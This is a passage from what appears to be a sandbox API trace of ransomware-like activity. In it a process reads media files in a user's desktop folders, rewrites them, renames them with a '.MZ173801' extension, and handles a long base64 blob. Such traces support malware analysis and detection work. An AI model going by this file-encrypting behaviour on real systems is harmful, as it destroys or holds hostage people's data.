nNumberOfBytesToRead=0xc40a, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xc40a, lpOverlapped=0x0) returned 1 [0145.042] CloseHandle (hObject=0x2a4) returned 1 [0145.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\l5gwby9o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\l5gwby9o.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a4 [0145.045] WriteFile (in: hFile=0x2a4, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc40a, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f6d0*=0xc40a, lpOverlapped=0x0) returned 1 [0145.047] CloseHandle (hObject=0x2a4) returned 1 [0145.047] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\l5gwby9o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\l5gwby9o.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\l5gwby9o.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\l5gwby9o.flv.mz173801")) returned 1 [0145.049] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0145.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec5eb0, ftCreationTime.dwHighDateTime=0x1d5e591, ftLastAccessTime.dwLowDateTime=0xa7454cc0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa7454cc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2f72f0, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0145.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570f7660, ftCreationTime.dwHighDateTime=0x1d5e1e1, ftLastAccessTime.dwLowDateTime=0x91b7ab80, ftLastAccessTime.dwHighDateTime=0x1d5db69, ftLastWriteTime.dwLowDateTime=0x91b7ab80, ftLastWriteTime.dwHighDateTime=0x1d5db69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2f72f0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0145.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\by1hLn7NgdU8e.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\by1hln7ngdu8e.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd28ca100, ftCreationTime.dwHighDateTime=0x1d5e0e2, ftLastAccessTime.dwLowDateTime=0x13d62d70, ftLastAccessTime.dwHighDateTime=0x1d5d7ba, ftLastWriteTime.dwLowDateTime=0x13d62d70, ftLastWriteTime.dwHighDateTime=0x1d5d7ba, nFileSizeHigh=0x0, nFileSizeLow=0x527a)) returned 1 [0145.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\by1hLn7NgdU8e.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\by1hln7ngdu8e.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.054] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0145.054] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.054] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x527a [0145.055] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.055] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x527a, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x527a, lpOverlapped=0x0) returned 1 [0145.056] CloseHandle (hObject=0x2a8) returned 1 [0145.056] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\by1hLn7NgdU8e.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\by1hln7ngdu8e.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.058] WriteFile (in: hFile=0x2a8, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x527a, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f404*=0x527a, lpOverlapped=0x0) returned 1 [0145.059] CloseHandle (hObject=0x2a8) returned 1 [0145.059] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\by1hLn7NgdU8e.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\by1hln7ngdu8e.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\by1hLn7NgdU8e.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\by1hln7ngdu8e.mp4.mz173801")) returned 1 [0145.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\dgsLjsUWl xLSmB3xpXk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\dgsljsuwl xlsmb3xpxk.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b156d50, ftCreationTime.dwHighDateTime=0x1d5d960, ftLastAccessTime.dwLowDateTime=0x434d0800, ftLastAccessTime.dwHighDateTime=0x1d5dfc9, ftLastWriteTime.dwLowDateTime=0x434d0800, ftLastWriteTime.dwHighDateTime=0x1d5dfc9, nFileSizeHigh=0x0, nFileSizeLow=0x14084)) returned 1 [0145.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.062] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\dgsLjsUWl xLSmB3xpXk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\dgsljsuwl xlsmb3xpxk.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.064] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0145.064] SetFilePointer (in: hFile=0x2a8, 